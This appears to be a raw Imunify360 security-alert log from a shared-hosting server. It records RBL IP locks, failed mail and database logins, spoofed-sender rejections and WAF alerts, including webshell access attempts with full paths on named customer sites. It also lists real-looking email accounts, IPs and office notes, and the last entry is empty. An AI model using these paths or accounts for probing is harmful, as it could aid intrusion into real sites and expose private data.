Jan 27 17:29:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin supplies invoice - purchase invoices (ms kho to check)</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">open sales inv to pob jan'26 (gave ms kho to check - tomorrow)</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">stapler payment voucher , bank slip and supplies invoice for 22/1/2026</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">prepared payment today 27/1/26 (supplies and staff)</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">print bankslip 27/1/26 (ms kho to check)&nbsp;</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">save ambank new ambank template library</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:31:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 17:32:39 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess2961289908/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 17:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63679: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.14.61.156
country_id: 298795
description:
Jan 27 17:33:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.14.61.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.199.198
country_id: 3865483
description:
Jan 27 17:33:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.199.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.25.132.93
country_id: 1269750
description:
Jan 27 17:33:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.25.132.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:34:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 27 17:34:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.199.198
country_id: 3865483
description:
Jan 27 17:34:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.199.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:35:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><strong><span style=\"text-decoration: underline;\">tuesday 27-jan-26</span></strong></p>\r\n<ul>\r\n<li>update tsb arrival worksheet.</li>\r\n<li>follow up with kk on form e for malaysia and ph order.</li>\r\n<li>preparing loi and checking k1.</li>\r\n<li>follow up payment advise with finance</li>\r\n<li>arrange send sample alfalfa to tpl</li>\r\n<li>update tpy import schedule - shipment kk and caltech delay to ealy february</li>\r\n<li>follow up us consol.</li>\r\n<li>follow up courier shipment for tpy</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.188
country_id: 3469034
description:
Jan 27 17:35:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.130
country_id: 3469034
description:
Jan 27 17:35:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.39
country_id: 3175395
description:
Jan 27 17:35:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.68.184.155
country_id: 2017370
description:
Jan 27 17:36:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.68.184.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.68.184.155
country_id: 2017370
description:
2026-01-27 17:36:08 dovecot_plain authenticator failed for H=(exate) [109.68.184.155]:52769: 535 Incorrect authentication data (set_id=info@nmahir.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.188
country_id: 3469034
description:
Jan 27 17:36:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:37:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msolistparagraphcxspfirst\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->updated daily collection report &amp; daily cash flow</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->posted assembly orders</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->do posting sales invoices &amp; filing sales invoice</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span></span></span><!--[endif]-->do amended interco sales order feb c&rsquo;26 &amp; feb d&rsquo;26 for 18d</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:39:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:40:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 93.170.211.17
country_id: 1512440
description:
2026-01-27 17:41:33 826370 [Warning] Aborted connection 826370 to db: 'unconnected' user: 'unauthenticated' host: '93.170.211.17' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.231.91.71
country_id: 3469034
description:
Jan 27 17:41:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.231.91.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:42:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:45:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.0.34.194
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=243858 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:46:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.24.182.43
country_id: 1269750
description:
Jan 27 17:47:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.24.182.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:48:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:50:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:51:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.215.41.227
country_id: 630336
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/translation/Tests/fixtures/plurals.po HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:54:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 17:54:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:56:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:57:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 17:59:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.116
country_id: 3469034
description:
Jan 27 17:59:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 18:00:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63712: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:01:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:03:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:05:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.127
country_id: 953987
description:
Jan 27 18:06:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.127
country_id: 953987
description:
Jan 27 18:07:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.112.105.140
country_id: 3175395
description:
Jan 27 18:07:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.112.105.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:07:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:07:51 H=([209.50.250.104]) [209.50.250.104]:56262 F=<lwicpfqn@nexuscollection.com> rejected RCPT <info@nexuscollection.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:08:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.45
country_id: 3175395
description:
Jan 27 18:09:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.45
country_id: 3175395
description:
Jan 27 18:10:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:10:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-27 18:12:09 H=([45.144.212.50]) [45.144.212.50]:52738 F=<akotzias@pilotms.com> rejected RCPT <astkua@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:13:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.7
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/img/img/img/img/demos/clientele.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:14:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.205
country_id: 3865483
description:
Jan 27 18:14:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/img/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.197
country_id: 2395170
description:
Jan 27 18:15:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.134.0
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/new1.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 18:15:27 H=([104.37.174.67]) [104.37.174.67]:56044 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <laupk@chs.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/m.me/img/druma_photos/private-residence.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.62.161.161
country_id: 3439705
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/new5.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:16:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.145.33
country_id: 1819730
description:
Jan 27 18:16:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.145.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.33
country_id: 1819730
description:
2026-01-27 18:16:46 dovecot_login authenticator failed for H=(223-197-145-33.static.imsbiz.com) [223.197.145.33]:53866: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.7
country_id: 798544
description:
Jan 27 18:18:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:18:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.200.180.174
country_id: 6252001
description:
Jan 27 18:19:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.200.180.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.200.180.174
country_id: 6252001
description:
2026-01-27 18:19:28 dovecot_login authenticator failed for H=survey.hagbergconsulting.com [207.200.180.174]:64370: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.8
country_id: 2395170
description:
Jan 27 18:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:19:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.141
country_id: 3469034
description:
Jan 27 18:19:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.141 has been locked due to Imunify RBL


plugin: modsec
rule: 77517934
name: IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)
abuser: 85.203.21.156
country_id: 1880251
domain: ahfengineering.com
description:
IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)||MV:/wp-content/uploads/wcdp-uploads/temp/xxc/stuff/wp-class.php||SC:||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:21:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:24:49 H=([209.50.250.104]) [209.50.250.104]:55820 F=<qpkgaumhh@pspoly.com.my> rejected RCPT <aliff@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:24:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-27 18:24:36 H=([45.144.212.54]) [45.144.212.54]:63091 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<events@latinserverhost.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:25:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 18:25:35 H=([104.37.174.67]) [104.37.174.67]:57180 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <lowkeesen@nobledec.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:27:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:28:54 H=([209.50.250.104]) [209.50.250.104]:61341 F=<hfovkq@fkr.com.my> rejected RCPT <anthonyj@fkr.com.my>: Mail to anthonyj@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:29:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:30:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:32:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.144
country_id: 3469034
description:
Jan 27 18:33:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:35:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.241
country_id: 3175395
description:
Jan 27 18:35:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:36:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
